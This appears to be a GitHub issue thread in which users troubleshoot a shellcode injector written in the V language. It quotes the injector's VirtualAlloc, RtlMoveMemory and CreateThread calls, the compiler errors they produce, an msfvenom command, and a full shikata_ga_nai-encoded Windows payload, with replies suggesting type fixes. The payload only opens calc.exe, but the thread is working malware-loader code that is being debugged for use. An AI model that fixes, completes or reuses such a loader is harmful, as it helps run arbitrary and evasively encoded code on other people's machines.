error: unknown type size_t

[johnjohnsp1]

hello alex,
i try to compile the code but getting this errors:

./shellcode.v:14:51: error: unknown type size_t
12 | fn inject(shellcode []byte) bool {
13 | println('Creating virtualAlloc')
14 | address_pointer := C.VirtualAlloc(voidptr(0), size_t(sizeof(shellcode)), 0x3000, 0x40)
| ~~~~~~~~~~~~~~~~~~~~~~~~~
15 | println(address_pointer)
16 |
./shellcode.v:18:54: error: cannot use int as size_t in argument 3 to C.RtlMoveMemory
16 |
17 | println('WriteProcessMemory')
18 | C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len)
| ~~~~~~~~~~~~~
19 |
20 | println('CreateRemoteThread')
./shellcode.v:21:32: error: unknown type size_t
19 |
20 | println('CreateRemoteThread')
21 | C.CreateThread(voidptr(0), size_t(0), voidptr(address_pointer), voidptr(0), 0, &u32(0))
| ~~~~~~~~~
22 | time.sleep(1000)
23 | return true
./shellcode.v:44:12: error: cannot use []string as []byte in argument 1 to inject
42 | "\x61\x72\x6d\x88\x03\x77\x29\x0e\xff\x05\x22\xfb\xff\xba\x43"
43 | "\x2e\x9c\x5d\xd0\xb2\x4d\xf8\x50\x50\x92"]
44 | inject(shellcode)
| ~~~~~~~~~
45 | }

the shellcode has been generated with the kali command line:

┌──(kauser㉿KALIDEV)-[~]
└─$ msfvenom -a x86 -p windows/exec CMD=calc.exe -f c -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] =
"\xd9\xe5\xba\xf0\xef\x8f\xe3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x31\x31\x56\x18\x03\x56\x18\x83\xee\x0c\x0d\x7a\x1f\x04\x50"
"\x85\xe0\xd4\x35\x0f\x05\xe5\x75\x6b\x4d\x55\x46\xff\x03\x59"
"\x2d\xad\xb7\xea\x43\x7a\xb7\x5b\xe9\x5c\xf6\x5c\x42\x9c\x99"
"\xde\x99\xf1\x79\xdf\x51\x04\x7b\x18\x8f\xe5\x29\xf1\xdb\x58"
"\xde\x76\x91\x60\x55\xc4\x37\xe1\x8a\x9c\x36\xc0\x1c\x97\x60"
"\xc2\x9f\x74\x19\x4b\xb8\x99\x24\x05\x33\x69\xd2\x94\x95\xa0"
"\x1b\x3a\xd8\x0d\xee\x42\x1c\xa9\x11\x31\x54\xca\xac\x42\xa3"
"\xb1\x6a\xc6\x30\x11\xf8\x70\x9d\xa0\x2d\xe6\x56\xae\x9a\x6c"
"\x30\xb2\x1d\xa0\x4a\xce\x96\x47\x9d\x47\xec\x63\x39\x0c\xb6"
"\x0a\x18\xe8\x19\x32\x7a\x53\xc5\x96\xf0\x79\x12\xab\x5a\x17"
"\xe5\x39\xe1\x55\xe5\x41\xea\xc9\x8e\x70\x61\x86\xc9\x8c\xa0"
"\xe3\x26\xc7\xe9\x45\xaf\x8e\x7b\xd4\xb2\x30\x56\x1a\xcb\xb2"
"\x53\xe2\x28\xaa\x11\xe7\x75\x6c\xc9\x95\xe6\x19\xed\x0a\x06"
"\x08\x8e\xcd\x94\xd0\x7f\x68\x1d\x72\x80"

but seems is not good applied to the code, are you able to give any hint to make it works ?
i do something wrong ?
thanks for sharing your ideas, pretty nice one !!

[AnubisSec]

https://github.com/vlang/v/blob/master/CHANGELOG.md

seems size_t was deprecated to isize in v

I ran into this as well, and found the changelog above. However, this doesn't seem to work now and I'm currently troubleshooting as well